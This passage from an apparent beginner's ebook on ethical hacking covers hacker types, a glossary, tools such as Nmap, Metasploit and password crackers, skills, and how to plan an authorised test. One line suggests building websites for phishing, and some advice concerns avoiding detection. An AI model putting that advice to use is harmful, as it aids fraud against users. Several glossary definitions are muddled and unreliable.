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	Introduction
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	Thank you for purchasing the book, Ethical Hacking - A Comprehensive Beginners Guide to Learn and Understand the Concept of Ethical Hacking.

	If you are looking to hack another person's system to obtain information illegally, please stop reading this book right away. You should continue to read the book if you want to learn more about how to test the vulnerabilities in a system or network and want to fix those vulnerabilities. This book provides information on different techniques an ethical hacker can use to identify any vulnerabilities in a system or network and identify a way to fix those vulnerabilities. Most organizations perform this exercise to prevent a malicious hack on the organization's network and infrastructure. This book only talks about ethical hacking, which is a legal way of testing the vulnerabilities in a system. You must understand that both computer and network security constantly evolve. Therefore, you must ensure that you always secure your computer and network from criminal hackers or crackers.

	This book lists different tools and techniques that you can use to test the system or network for any vulnerabilities. Once you identify the vulnerabilities, you can work towards improving network security. If you do not know how a hacker thinks, you may not be able to test the system well. If this is the case for you, then you should spend some time to understand how a hacker thinks and use that knowledge when you are assessing the system.

	Ethical hacking is also called penetration testing or white hat hacking, and it is used by many organizations to ensure that their network and systems are secure. This book will provide information about different software and tools that you can use when you are performing an ethical hack. There are some sample exercises and programs in the book that you can use to begin the ethical hacking process.

	I hope you are able to gather all the information you need from this book. Once again, please refrain from using the content within for any illegal purposes.



	
Chapter 1

	 

	An Introduction to Ethical Hacking
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	This book focuses solely on ethical hacking. It will detail how you can use different techniques to test your system or network for any vulnerabilities and then fix those vulnerabilities before a cracker exploits them. Most people misuse the word “ethical”, often not understanding what it even means. The definition given in the Merriam Webster dictionary suits the purpose of this book. An ethical hacker can perform the different tests mentioned in the book once the system owner gives him or her permission to perform the hack.

	How Do Hackers Beget Ethical Hackers?

	Everyone has heard about hackers, and many people have even suffered losses because of the actions of a hacker. So, who is a hacker, and why is it important for people to learn more about what a hacker does? The next few sections in the book will help you understand the process of hacking and the different types of hackers in the industry.

	Who Is a Hacker?

	The word “hacker” can be defined in two ways. A hacker is someone who tinkers with software and electronic systems to understand how they work. They also look for ways to improve the functioning of a network and electronic system. They love the challenge of discovering new ways to make systems work. In recent times, the term “hacker” has taken on a new meaning. Hackers are people who want to break into a system or network for malicious purposes. These hackers are called crackers or criminal hackers. A cracker will only break into a system or network to steal, delete or modify some confidential information, which can lead to huge losses for an organization or individual.

	This book will use the terms “hacker” and “ethical hacker”, so it’s important that you understand what each means and that they differ from one another. A hacker is someone who attacks a system with malicious intent, while an ethical hacker will attack a system to test and fix the vulnerabilities.

	An ethical hacker, or a white hat hacker, does not like to be called a hacker because people perceive the word negatively. Crackers claim that they are only helping the system or network owner by hacking it, but that’s untrue since they are electronic thieves. 

	Hackers will always attack a system that they believe they can compromise. Most hackers like to attack a prestigious or well-protected system since it’s like a game for them. Also, when a hacker can attack a critical website or database, his or her status will increase in the hacker circle.

	What Is Ethical Hacking?

	Every system or network must always be updated and patched to protect it from a cracker. An ethical hacker is someone who knows how to protect the system or network. An ethical hacker possesses the mindset, tools and the skills of a hacker, but this type of hacker is trustworthy as they only hack systems to run security tests.

	If you perform an ethical hacking test for a customer or want to add a certification to your resume, you can sign up for the ethical hacking certification that is sponsored by the ECCouncil. To learn more about the certification, visit their website: www.eccouncil.org/programs/certified-ethical-hacker-ceh/.

	Ethical hacking (also called penetration testing or white hat hacking) uses the same tricks, techniques and tools to test the system. The major difference is that ethical hacking is legal. This type of hacking is performed only when the owner grants the hacker permission. As mentioned earlier, ethical hacking helps the system’s owner discover the vulnerabilities in the system from a hacker’s perspective, helping to improve the system’s security. This process is one part of the risk management program, which helps the organization or the system owner enhance the system’s security. Ethical hacking backs a vendor’s claim that the products being sold by the vendor are legitimate.

	If you want to hack your system the way a cracker would, you should know how they think. After all, it’s always important for you to be familiar with your enemy.

	Why Should You Hack Your System?

	You must remember that the law of averages does not work in favor of security. The number of hackers and the amount of  knowledge they have is increasing by the day. If you combine that knowledge with the number of vulnerabilities in the system, there will come a time when every computer system is compromised in one way or another. Protecting your system from a cracker is important. However, this does not mean that you should only look at the general vulnerabilities that people are aware of. Once you know how a cracker works, you will know how vulnerable your system really is.

	Ethical hacking helps you identify weak security practices and discover any areas needing attention. Encryption, Virtual Private Networks (VPN) and firewalls can often create a false sense of security. However, these systems only focus on traffic and viruses through a firewall, which does not affect the work of a cracker. If you want to make your systems more secure, you should carry out the attack in the same way a cracker would. This is the only way you can harden the security of your system. If you fail to identify these weaknesses, it’s only a matter of time before the system’s vulnerabilities will surface.

	You should expand your knowledge in the same way a hacker does. You should think like one of them if you want to effectively protect your system. As an ethical hacker, you should understand the activities that a cracker will carry out and then identify ways to end their efforts. You must always ensure that you are aware of what you’re looking for. That being said, you cannot expect to protect your system from everything - that’s impossible. The only way you can protect your system from absolutely all threats is to unplug it and lock it up in a cupboard to ensure that it’s never touched. Let’s face it, that isn’t the best approach to secure your information. You should only learn to protect your system from common cracker attacks and other well-known vulnerabilities. Some cracker attacks are still unknown, but that doesn’t mean that you should give up on testing your system. Try to use different combinations and test the entire system instead of looking at the individual units alone. You will discover more vulnerabilities in your system when you test it as a whole.

	It’s advisable that you don’t take ethical hacking too far. For example, if you don’t have too many people working in an office and don’t have an internal web server, you needn’t worry too much about an attack through the web. However, you should  never forget about any malicious employees who will threaten the security of your company.

	All in all, your goals as an ethical hacker should be as follows:

	
		Use a nondestructive approach to hack systems.

		Identify vulnerabilities and use these vulnerabilities to prove that systems need improvements.

		Apply the results and remove any vulnerabilities to improve security.



	Ethical Hacking Commandments

	There are a few commandments that an ethical hacker must abide by. If a hacker does not abide by those commandments, there will be negative consequences. In the cases that an ethical hacker doesn’t follow these commandments, the results are not beneficial.

	Working Ethically

	In this context, the word “ethical” refers to working with high morals and principles. Regardless of whether you are performing ethical hacking tests on your system or someone hired you to test their system, you must ensure that the steps you take support the goals of the individual or organization. In other words, you cannot have a hidden agenda. You have to ensure that you are honest and never should you misuse any information you find on the system; that is precisely what crackers do.

	Respecting Privacy

	You must always respect the information that you gather. All the data to which you are granted access during testing should be kept private, right from clear-text passwords to web-application log files. You should never use this information to peek into confidential information or people’s private lives. If you sense that there is an issue, you should share that information with the right person. Additionally, you should make a habit of involving other people in your process to ensure that the owner of the system can trust you.

	Not Crashing Systems

	Many people crash their systems because they don’t have a plan in mind when they begin their testing. These testers have either misunderstood the documentation or have not read it whatsoever. As a result, they don’t know how to use different tools to test the security of their systems. If you run too many tests on your system, you can create a DoS condition that causes a system lockup. You should never rush into it or assume that a specific host or network can bear the beating that the vulnerability assessment and network scanner tools dish out.

	Many security assessment tools control how tests are performed on systems at the same time. These tools are handy if you need to run a test on systems during business hours. You can create a system lockout condition or lock the account by forcing someone to change their password. These people will not realize that they have agreed to lock their system.

	Advantages of Hacking

	Hacking is a useful process when you:

	
		Perform a penetration test to identify any vulnerabilities in the network and computer security

		Recover any lost information, mainly in the case of a lost password

		Identify protection or preventive measures that can be implemented to prevent any breaches in security

		Prevent any unauthorized access from malicious hackers



	Disadvantages of Hacking

	If hacking is done with negative intention, it can lead to the following issues:

	
		Privacy violations

		Unauthorized access to private information on a system

		Denial-of-service attacks

		Massive security breaches

		Malicious attacks on the system, leading to loss of important information

		Hampering the operations of the system





	

Chapter 2

	 

	Types of Hackers 
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	A hacker can be placed into one of the following categories: black hat, grey hat or white hat. Each hacker is classified based on their intent. These terms are borrowed from the Old West when a good cowboy would wear a white hat while a bad cowboy would don a black hat.

	White Hat Hackers

	A white hat hacker, who is also called an ethical hacker, does not want to harm the system. His motive is to identify the weakness in any network system or computer through different vulnerability assessments and penetration testing. Ethical hacking is legal, and, in fact, many companies hire ethical hackers to find vulnerabilities.

	Black Hat Hackers

	A black hat hacker, who is also known as a cracker, is someone who wants to hack a network or a system to gain unauthorized access. This type of hacker wishes to harm the system or steal some sensitive information. Black hat hacking is illegal since the person who is hacking the system does it with bad intentions. This includes violating privacy, blocking any communication on the network, stealing corporate data, damaging systems, etc.

	Grey Hat Hackers

	A grey hat hacker is a blend of both a white hat and a black hat hacker. These hackers do not have any malicious intent but hack a network or a system merely for fun. They want to exploit the vulnerabilities in the system without actually taking permission from the owner. Usually, their goal is to inform the owner of any weaknesses and gain appreciation and/or a sum of money from them.

	Miscellaneous Hackers

	Apart from the list of hackers detailed above, there are a few other categories of hackers that should be mentioned. These include script kiddies, intermediate hackers, elite hackers, hacktivists, cyberterrorists, and hackers involved in organized crime.

	Script Kiddies

	These hackers are computer novices who use the different tools and documentation available on the Internet to perform a hack. They do not know what happens behind the scenes and only comprehend enough to cause minimal harm. They are often sloppy, so they leave digital fingerprints everywhere. These are the hackers you hear about in the news. They need very minimal skills to attack a system since they use what is already made available to them.

	Intermediate Hackers

	These hackers know just enough to cause some serious issues. They have knowledge about networks and computers and use this knowledge to carry out well-known exploits. Some intermediate hackers want to be experts at the process; if they put in some effort, they can certainly become elite hackers.

	Elite Hackers

	Elite hackers are experts. They’re the people who develop several hacking tools and write scripts and programs. Script kiddies use these very tools and programs to perform their own attacks. Elite hackers write codes to develop malware like worms and viruses. They know how to break into a system and cover their tracks or pretend that someone else was responsible for the attack.

	Elite hackers are secretive and only share information if they believe that their subordinates are worthy. For some lower-level hackers to be evaluated as worthy, they should possess some special information that an elite hacker can use to perform an attack on a high-profile system. Elite hackers are the worst type of hackers. However, there are not too many of them in the world when compared to the number of script kiddies.

	Hacktivists

	These hackers disseminate social or political messages through their attacks. A hacktivist always finds a way to raise awareness about a given issue. Some examples of hacktivism are the many websites that had the “Free Kevin” messages. These hacktivists wanted the government to release hacker Kevin Mitnick from prison. Some other cases include the protests against the U.S. Navy Spy Plane that collided with a Chinese fighter jet in 2001, attacks against the U.S. White House website for years, hacker attacks between Pakistan and India and messages supporting the legalization of marijuana.

	Cyberterrorists

	Cyberterrorists attack government computers or other public utility infrastructures like air-traffic control towers and power grids. They steal classified government information or crash some critical systems. Countries have started to take cyberterrorist threats seriously, ensuring that power companies and other similar industries always have information-security controls in place. These controls will protect systems from such attacks.

	Organized Crime

	Some groups of hackers can be hired to perform an organized crime. In 2003, the Korean police busted one of the largest hacking rings on the Internet. This ring had close to 4,400 members. In addition to that group, the Philippine police busted a multimillion-dollar hacking ring that sold cheap phone calls made through the lines that the ring had hacked into. These types of hackers are always hired for a large amount of money.



	
Chapter 3

	 

	Ethical Hacking Terminologies
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	This chapter briefly details some of the common and important terms that are used in the field of hacking.

	Adware

	Hackers use this software to display advertisements on a system by force.

	Attack

	Hackers perform this action to access a system and extract some sensitive data from that system.

	Back Door

	A back door, which is also referred to as a trap door, is an entry port into software or a computer. This port does not require any login information or a password, and as a result, it can bypass all security measures.

	Bot

	A bot is a type of program that is used to automate any action, thereby increasing the number of times it can be performed. This means that the bot will perform the function for a longer time when compared to a human operator. For instance, hackers use bots to call a script that can be used to create an object or send an FTP< Telnet or HTTP file at a higher rate.

	Botnet

	Botnets, which are also called zombie armies, are a group of computers that can be controlled without the knowledge of the owner. These are used to perform denial-of-service attacks or send spam.

	Brute Force Attack

	A brute force attack is possibly the simplest attack that a hacker can perform to gain access to a system or application. This attack is an automated attack, and this means that it will try different usernames and passwords repeatedly until it can access the system or application.

	Buffer Overflow

	The buffer overflow is a flaw that can be observed when a lot of data is written onto a single block of memory. This means that the memory can no longer hold onto that data.

	Clone Phishing

	Clone phishing is a type of legitimate and existing email that has a false link. This link will trick a recipient into providing some personal information that the hacker can use to disarm the system or network.

	Cracker

	A cracker is a type of hacker that modifies any software to access some features of a system, such as copy protection features.

	DoS or Denial-of-Service Attack

	A denial-of-service, or DoS, attack is used by a hacker to ensure that a network resource or server is not available to the user. This is done by suspending the services of that server or resource.

	DDoS

	DDos stands for distributed denial-of-service attack.

	Exploit Kit

	An exploit kit is a system that a hacker designs to run on some web servers. This system is used to identify any vulnerabilities in a client machine that is communicating with the web server. It will then exploit those vulnerabilities and afterwards, execute some malicious code in the system.

	Exploit

	An exploit is a part of code or a chunk of data or software that will take advantage of a vulnerability or a bug in the system and network which, in turn, compromises the security of that system or network.

	Firewall

	A firewall is a type of filter that is placed on a network. This filter helps to keep unwanted intruders away from the system or network. In addition, it will ensure that the communication between the users and systems inside the firewall are safe.

	Keystroke Logging

	Keystroke logging is a process during which a hacker tracks how the keys are pressed on the keypad. This process will help the hacker develop a blueprint of the human interface. It is often used by both black and grey hat hackers to record some passwords. A keylogger is most commonly delivered onto a system using a phishing email or a Trojan horse.

	Logic Bomb

	A logic bomb is a type of virus that is added to a system that will trigger a malicious attack if some conditions are met. A common example of a logic bomb virus is a time bomb.

	Malware

	Malware is a term that describes a variety of intrusive and hostile software, including Trojan horses, spyware, scareware, adware, virus, ransomware, worms and any other malicious programs.

	Master Program

	Master programs are those programs that black hat hackers use to transmit commands into zombie drones (explained later in the chapter). These drones carry spam attacks or denial-of-service attacks.

	Phishing

	Phishing is a fraud method where the hacker sends an email out to the target. The hacker will use this email to gather some personal or financial information from the user.

	Phreaker

	A phreaker is a normal computer hacker. These hackers often break into telephone networks and either tap the phone lines or make long-distance phone calls.

	Rootkit

	Rootkit is a software that is often malicious. A hacker designs this software to hide some processes or programs from any normal detection method. This will ensure that the rootkit is stored on a system and has privileged access to the system.

	Shrink Wrap Code

	A shrink wrap code attack is a way to exploit the holes in a poorly configured or unpatched software.

	Social Engineering

	A hacker uses social engineering to deceive another person. The hacker uses this technique to acquire some personal information about the user, like credit card details or passwords.

	Spam

	Spam is an unsolicited email. This is also called junk email and is often sent to a large group of people without their consent.

	Spoofing

	Spoofing is a technique that a hacker uses to gain access to a system or network. The hacker will send a message to the computer using an IP address, and this address will indicate to the system that the message is being sent from a trusted host.

	Spyware

	Spyware is a software that’s used to gather information about an organization or person without their knowledge. This software can be utilized to send sensitive information to any entity without the consent of the customer. It can also be used to assert control over a system.

	SQL Injection

	SQL injection is an injection technique code that is written in SQL. This tool is used to attack any data-driven application. It includes some malicious SQL statements that are entered into a field in the data. An example of an SQL injection would be dumping all data into the attacker’s folders.

	Threat

	Threats are possible dangers to a system or network. These can be used by hackers to exploit a vulnerability and compromise the security of a network or system.

	Trojan

	A Trojan horse, or Trojan, is a program that is designed to look like a normal program. Differentiating between a Trojan and a regular program is difficult. This tool can be used to alter information, destroy files and steal sensitive information like passwords.

	Virus

	A virus is a piece of code or a full program that is malicious. It copies itself in the system and has a detrimental effect on it as a result. A virus can both destroy data and corrupt the system.

	Vulnerability

	A vulnerability is a weakness in the system or network that allows a hacker to compromise the security of that system or network.

	Worms

	Worms are like every other virus in the sense that it can replicate itself in the system. It only resides in the active memory but does not make any changes to the files and will only duplicate itself.

	Cross-Site Scripting

	Cross-site scripting, or XSS, is a security vulnerability that is often found in a web application. This vulnerability gives the hacker the ability to inject some script into a web page that is viewed by users.

	Zombie Drone

	A zombie drone is used by hackers as a soldier to perform a malicious activity. This drone is a hijacked computer that is used by some hackers to distribute unwanted spam emails.
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	Ethical Hacking Tools
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	Now that you know what ethical hacking is, let’s look at some of the different tools that are available for you to use to prevent any unauthorized access to a network system or computer.

	Nmap

	Nmap, or Network Mapper, is a tool that is used for security auditing and network discovery. It is an open source tool that was designed to scan a large network. It also works well with single hosts. A network administrator is used for different tasks, including managing service upgrade schedules and network inventory and monitoring service or host uptime.

	Nmap can determine the following using raw IP packets:

	
		The different hosts available on the network

		The operating systems that the hosts run on

		The different services offered by those hosts

		The different firewalls that the hosts use and any other characteristics



	This tool can run on most operating systems, including Linux, Windows and Mac OS X.

	Metasploit

	Metasploit, another powerful exploitation tool, is a Rapid7 product. Many of the resources used can be found on the source website: www.metasploit.com. The tool has a commercial and free version and can be used with Web UI or command prompt. 

	You can perform the following operations using Metasploit:

	
		Penetration tests on small networks

		Check the vulnerability in some systems

		Discover any import or network scan data

		Run individual tests on a host or look at the different modules that one can exploit



	Burp Suite

	Burp Suite is a tool that’s used by both malicious and ethical hackers to perform a security test of any web application. This suite has different tools that work together to support the process of testing, right from the mapping to the analysis of the application’s surface. It’s often used to exploit or locate any vulnerabilities in the application. This suite is simple to use and gives an administrator full control to combine different techniques to improve testing. Burp can be configured easily, and it has different features that can help an experienced tester with their work.

	Angry IP Scanner

	Angry IP scanner is a cross-platform and lightweight port and IP address scanner. This tool can scan an IP address in any range and can be used or copied anywhere. It utilizes a multithreading approach to increase the speed of scanning. In this approach, a separate scanning thread is employed  for every address. Angry IP scanner checks if an IP address is active by pinging the address, and it will then determine the MAC address and scan ports and resolve the hostname. The data that is gathered using this tool can be saved to an XML, TXT, IP-Port List or CSV file. You can gather information about any IP using this tool.

	Cain and Abel

	Cain and Abel is a tool used in Microsoft Operating Systems for password recovery. This tool helps to retrieve passwords using one of the following methods:

	
		Recording a VoIP conversation

		Sniffing the network

		Decoding a scrambled password

		Cracking an encrypted password using Brute-Force, Cryptanalysis and Dictionary

		Revealing a password box

		Recovering wireless network keys

		Uncovering a cached password

		Analyzing routing protocols



	This is a tool that most professional penetration testers and security consultants use for ethical hacking.

	Ettercap

	Ettercap, or Ethernet capture, is a network security tool that’s used for a man-in-the-middle attack. This tool can sniff live connections, filter any content on the fly and perform other interesting activities. Ettercap has numerous features that can be used for host and network analysis and supports the dissection of protocols (both active and passive). It runs on many operating systems, including Mac OS X, Linux and Windows.

	EtherPeek

	EtherPeek is a tool that helps to simplify network analysis that is performed on a heterogeneous network environment. This is a very small tool that can be installed on any system in a few minutes. One can use this tool to sniff the traffic packets on any network and supports different protocols, including IP, AppleTalk, UDP, NBT packets, IP Address Resolution Protocol (ARP), NetBEUI, TCP and NetWare.

	SuperScan

	SuperScan is a powerful tool that can be used to resolve hostnames and scan any TCP ports. It has a user-friendly interface that can be used to perform the following functions:

	
		Port or ping scan using a different IP range

		Scan different ports in the network using a built-in or random range

		Decipher the responses from different hosts connected to the network

		Modify the port description and list using a built-in editor

		Merge different lists to build a new one

		Connect different open ports

		Assign a helper application to a port



	QualysGuard

	QualysGuard is a suite of tools that can be used to lower the cost of compliance and simplify any security operations. This tool can automate the full area of compliance, auditing and protection for web applications and IT systems. QualysGuard can deliver some critical security intelligence and includes a variety of tools that can be used to detect, monitor and protect the network.

	WebInspect

	WebInspect is a tool used to assess an application’s security. This helps to identify any unknown and known vulnerabilities that exist in the application layer for any tool. It can also be used to check if a server has been configured correctly and helps to test the vulnerability of a system using attacks like cross-site scripting, parameter injection, directory traversal and others.

	LC4

	LC4 (formerly called L0phtCrack) is a password recovery and auditing application. This tool is used to test the strength of passwords and to sometimes recover a password on Microsoft Windows by using hybrid, brute-force and dictionary attacks. LC4 is used to retrieve lost Windows passwords, which will help to streamline the process of migration. It also assists in retrieving a lost password for an account.

	LANguard Network Security Scanner

	A LANguard network security scanner scans a network to identify the devices connected to it. It also provides some information about every node in the network. Using the LANguard network scanner, one can obtain any information about the operating system that’s used by every system connected to the network. This tool is also utilized to detect any registry issues and can provide a report in HTML format. You can obtain information regarding the NetBIOS name table, the MAC address and the user logged into the network using this tool.

	Network Stumbler

	Network Stumbler is a WiFi monitor and scanner that is used on the Windows Operating System. This tool allows a network professional to detect a wide area network. Most hackers utilize this tool to find a wireless network that is not used for broadcasting. Network Stumbler can help you verify if a network has been configured well, detect any interference between wireless networks and test the signal coverage and strength. Additionally, it can be used on any unauthorized connections.

	ToneLOC

	ToneLOC, or Tone Locator, is a program that was written in the early 90s for MS-DOS. It was used in war dialing computer programs. Through war dialing, one can scan phone numbers using a modem and dial every number that has the same area code. Malicious hackers use this tool to breach security by identifying modems that can be used to enter a network or computer system or guess a user’s account. Ethical hackers can use it to detect any unauthorized device on the computer’s network.



	

Chapter 5

	 

	Ethical Hacking Skills
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	This chapter covers the ten most important skills every hacker needs to possess and consistently improve on to become a professional in the field.

	Basic Computer Skills

	You are probably laughing at this skill; however, it is extremely important for a hacker to understand the basic functions of a computer. You’ll need to learn how to use command lines in windows and also understand how to edit the registry and set the networking parameters. These may seem like simple skills, but they’re actually very difficult to master. If you make an error in the command line, you will mess up the entire hacking process and make the system more vulnerable than it initially was.

	This is a skill that professional hackers build on every chance they get. They believe that there is always room for improvement. Amateurs, on the other hand, may believe they have learned everything there is to about computers and rarely build on the knowledge they already have.

	Networking Skills

	Once you have mastered your computer skills, you’ll need to improve your skills with networking. It’s important to know how a network functions and how to tweak it to make it better. The skills mentioned in this section are important to know; DNS, NAT, subnetting, DHCP, IPv4, IPv6, and routers and switches are all things you need to know about. You can learn many of the skills addressed in this section online.

	As previously mentioned, oftentimes, amateurs are unaware of the different networking skills they will need to build upon. They may learn one or two of the skills mentioned and then fumble while hacking if they come across a different network. Therefore, any hacker who wants to improve should be aware of the various networking skills they need to have.

	Linux Skills

	Hackers often use Linux as their operating system. In fact, most tools developed for hackers are only designed for the Linux operating system. Linux can help the hacker achieve his end goal, unlike Windows. So, it’s always a good idea to learn Linux. Any professional hacker should be adept at using Linux to hack into a system and identify its vulnerabilities.

	Wireshark

	Wireshark is a packet analyzer that is an open source tool. It’s used by hackers to troubleshoot any network issues, analyze software and communications protocols and also to develop certain protocols for the system.

	Expert hackers are versed in utilizing this analyzer to create protocols with ease for the system they are hacking into.

	Virtualization

	Virtualization is the art of making a virtual version of anything, like a server, storage device, operating system or networking resource. This helps the hacker test the attack that is going to take place before making it live. This also helps the hacker check if he or she has made any mistakes and revise the attack.

	Professional hackers use this skill to enhance the effect of the hack they are about to perform. This gives them a perspective on the damage they can do to the software while protecting themselves. An amateur hacker usually does not learn how to cover his tracks. A perfect example for this is the boy from Mumbai who released an episode of Game of Thrones from season 7. Had he covered his tracks better, he would have been able to protect himself. This is why it’s important to learn all about virtualization.

	Security Concepts

	It’s vital that a hacker learns about different security concepts and understands the changes made to technology. A person who has a strong hold on security will be able to control different barriers set by the security administrators for the system they are hacking into.

	Learning skills like Secure Sockets Layer (SSL), Public Key Infrastructure (PKI), firewalls, Intrusion Detection System (IDS) and other skills are important for hackers to learn. If you’re an amateur, it is advised that you take courses like Security +.

	Wireless Technology

	This is a technology everybody is familiar with – information is sent using invisible waves as the medium. If you are trying to hack into a wireless device, you have to understand the functioning of that device. Therefore, it’s vital that you learn the following encryption algorithms: WPA2, WPA WEP, WPS and the four-way handshake. It is also pertinent to understand the protocol connections, authentication and restrictions that surround wireless technology.

	Scripting

	This is a skill that every hacker must possess, especially the professionals. If a hacker were to use the scripts written by another hacker, he or she would be discredited for that. Security administrators are always vigilant about any hacking attempt and will identify a new tool, which will help them cope with that attack.

	A professional hacker needs to build on this skill and ensure that he or she is good at scripting. Amateurs often depend on the scripts written by other hackers. They may or may not understand the script, which would land them in big trouble.

	Database

	A database helps a user store data in a structured manner on a computer that can be accessed in various ways. If a hacker wishes to hack into a system’s database, he or she would need to be adept at different databases and also understand their functioning. Databases often use SQL to retrieve information whenever necessary. Therefore, it’s important to learn these skills before you decide to hack into a database.

	Professional hackers always need to know their way around a database to ensure that they make no mistakes and avoid getting caught.

	Web Applications

	Web applications are software through which you can access the Internet via your browser (Chrome, Firefox, etc.). Over the years, web applications have also become a prime target for hackers. It is extremely advisable that you some spend time understanding the functioning of web applications, as well as the databases that back those applications. This will help you make websites of your own either for phishing or for any other use.

	The skills mentioned in this chapter are most important for hackers to develop. Professional hackers work to improve these skills right from the beginning and therefore are adept at hacking into any system easily. It’s important for amateurs to build up these skills.



	

Chapter 6

	 

	Ethical Hacking Process 
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	Like every IT project, ethical hacking should always be planned. You have to determine the strategic and tactical issues in the process. Regardless of what the test is (whether it be a simple password-cracking test or a penetration test on an application on the Internet), you must plan the process.

	Formulating the Plan

	It is essential that you get approval before you begin the ethical hacking process. You have to ensure that what you are doing is known and visible to the system owners. The first step to working on the project is to obtain sponsorship. You can connect with an executive, manager, customer or even with yourself if you are your own boss. All you need is to have someone who can back you up and sign off on your plan. Otherwise, there’s a possibility that someone may call everything off, stating that they never permitted you to test the devices.

	If you’re testing the systems in your office, you need a memo from your boss that gives you permission to perform them. If you are testing for a customer, you must ensure that you have a signed contract that states the customer’s approval. It is pertinent that you obtain written approval so your effort and time don’t go to waste. Also, this way, you will learn more about what you need to do to ensure that you stay out of trouble. 

	It’s essential to have a detailed plan, because if you make one mistake, the systems can crash. However, this doesn’t mean that you need to include the different testing procedures you intend on using. A well-defined plan or scope should include the following information:

	
		Which systems need to be tested

		The risks involved

		When the tests will be performed and how long they will run for

		How the tests will be performed

		How much knowledge you have about the systems 

		What you’ll do if you come across a major vulnerability

		The deliverables, like security-assessment reports, high-level reporting of general vulnerabilities that the company should address and countermeasures that the organization should implement



	You must always begin the testing with the most vulnerable and critical systems. For example, it is best to start with social engineering attacks or test computer passwords before you move on to more detailed issues. It’s always a good idea to have a contingency plan in mind if something goes awry. There’s a possibility that you may take the firewall down when you are assessing it, or you may close a web application while testing it; this will reduce employee productivity and system performance since the system would then be unavailable for use. There have been times when this has led to bad publicity, loss of data and loss of data integrity.

	You should handle DoS and social engineering attacks carefully. You have to determine how these attacks will affect the system you’re testing and the organization. You must also carefully determine when the tests should be performed. Do you want to test during business hours? Would it be better to test the systems early in the morning or late at night to avoid affecting the production of employees? Is it ideal to involve the people in the organization to be certain that they approve of the timing?

	You have to remember that crackers do not attack your system during a limited period. Therefore, you should also use the unlimited attack approach. In this approach, you can run any type of test aside from social engineering, physical and DoS tests. You should never stop with one security hole since that will lead to a false sense of security. You have to continue to test to see what other vulnerabilities you can discover. This doesn’t imply that you should continue to hack until all your systems crash. You should simply pursue the path you are on and hack until you can no longer hack the system.

	One of the goals you should keep in mind when you perform these tests is to ensure that nobody detects the attack. For instance, you can perform your tests on a remote system or from a remote office when you’re trying to avoid letting system users know what you’re doing. If the users are aware of what you’re up to, it will affect the outcome as they will then be on their best behavior. 

	You must be confident that you understand the system well enough to perform the hack. This will help to ensure that you protect the systems when you are testing them. If you are hacking your own system, it’s not difficult to understand it. If you are hacking a customer’s system, you will need to spend some time trying to understand how the system functions. Customers will never ask you to give them a blind assessment, because people are scared of these assessments. You should base all the tests you want to perform on the customer’s needs and these assessments.

	Selecting Tools

	As with any project, you have to select the right tools if you want to complete the task successfully. That being said, you will not necessarily identify all the vulnerabilities in the system simply because you use the right tools. You must know the technical and personal limitations of your customer. Many security-assessment tools generate negative outcomes and false positives. Some tests won’t locate the vulnerabilities. For example, if you perform a social engineering test or a physical-security test, it is easy to miss some weaknesses.

	Certain tools focus only on specific tests, but no one tool can be used for everything. You cannot use a word processor to scan the network for any open ports, because that does not make sense. It is for this reason that you need specific tools for the test you wish to perform. Your ethical hacking efforts become easier when you have more tools at your disposal. 

	However, it is vital that you remember to choose the right tool for the task. You need to use tools like pwdump, LC4 or John the Ripper to crack passwords. SuperScan, which is a general port scanner, will not crack all passwords. If you want to perform an in-depth analysis of a web application, you should use tools like WebInspect or Whisker since they’re more appropriate when compared to network analyzers like Ethereal.

	When you need to select the right tools for a task, you should ask for advice from other ethical hackers, or you can post your questions on online forums and decide on the best tool to use. 

	Another option is using security portals like SearchSecurity.com, SecurityFocus.com and ITSecurity.com, or a simple Google search, to learn more about the different tools available for your tests. Experts provide their feedback and also give insights on the different types of tests an ethical hacker can perform. 

	Let’s look at a list of some freeware, open-source and commercial security tools:

	
		Nmap

		EtherPeek

		SuperScan

		QualysGuard

		WebInspect

		LC4 (formerly called L0phtcrack)

		LANguard Network Security Scanner

		Network Stumbler

		ToneLoc



	We will learn more about some of the tools listed above over the course of the book when we look at different types of hack attacks. Most people often misunderstand the capabilities of these hacking and security tools. This is because of the incorrect assumption that tools like Nmap (Network Mapper) and SATAN (Security Administrator Tool for Analyzing Networks) have gained bad publicity.

	Some of these tools are complex, and you should familiarize yourself with each before you begin to use them. Here are some ways to do just that:

	
		Read the online help files or the readme files for the tools.

		Go through the user guide for any commercial tool.

		Join an online or formal class to learn more about the tool.



	Executing the Plan

	You need to be patient and have enough time on your hands to perform the hack. You also have to be careful while performing the hack. An employee looking over your shoulder or a hacker in the network will always watch what’s going on, and this person will use the information they have obtained against you.

	You cannot expect to perform an ethical hack when there are no crackers in the network, because that does not happen. You have to ensure that you keep everything private and quiet. This is critical when you are deriving, transmitting and storing the results of the test. You should try to encrypt these files and emails using tools like Pretty Good Privacy (PGP) and others. The least you can do is to protect the files using a password.

	You’re on a mission to get as much information as you can about the system you’re testing. This is what a cracker will do. You should begin with a broad perspective and then narrow your focus:

	
		Look for the name of the organization, computer, network system and the IP Address; this information will often be available on Google.

		Now, narrow the scope and target the systems that you’re testing. A casual assessment will turn up some information about the system, regardless of whether you are assessing web applications or physical-security.

		Narrow the focus with a critical eye and perform an actual scan. You should also perform detailed tests on the system.

		If you want to perform an attack, do it now.



	Evaluating the Results

	You should now assess the results of your hack to identify what you’ve discovered. It’s advised that you make the assumption that these vulnerabilities were never uncovered before; this is where the results count. You need more experience to evaluate the results and identify the correlation between the vulnerabilities, and then you’ll know your systems better than anybody else. This will make the evaluation process simpler going forward. The final step is to submit a formal report to your customer or to the upper management and outline your results. You must always keep both parties in the loop to show them that their money was well spent.

	Moving On

	When you have finished the ethical hacking test, you’ll need to implement the analysis and also give the customer some recommendations. This will help to ensure the security of your systems. When you run these tests, new security vulnerabilities will appear. The information systems will always change, and these will become more complex. You’ll uncover new hacker exploits and more security vulnerabilities as time goes on. 

	A security test is a snapshot of how secure your systems are. You should remember that things can change at any time, especially when you add a new system, apply patches or upgrade the software. That’s why it’s important to have a plan by which you perform regular tests to assess the system’s security.
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	Phases of Ethical Hacking
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	As mentioned earlier, there is a set process that you should follow before you begin to hack a system or network ethically. This chapter covers the different phases of the ethical hacking process, which will help you or any other ethical hacker plan an attack. Every organization or company has a security manual that will explain the process differently. Most certified ethical hackers follow the six phases that will be discussed in this chapter.

	Reconnaissance

	The first phase of the process is the reconnaissance phase. This phase is also called the information-gathering phase. It’s in this phase that the hacker should collect as much information as they can about the target system or network. Information is often accumulated about the following groups:

	
		Host

		Network

		People



	Reconnaissance can be categorized into two types: active and passive.

	Active Reconnaissance

	In this type of reconnaissance, the hacker will interact directly with the target system or computer to gather information. For example, the hacker can use the Nmap tool to scan the network or system.

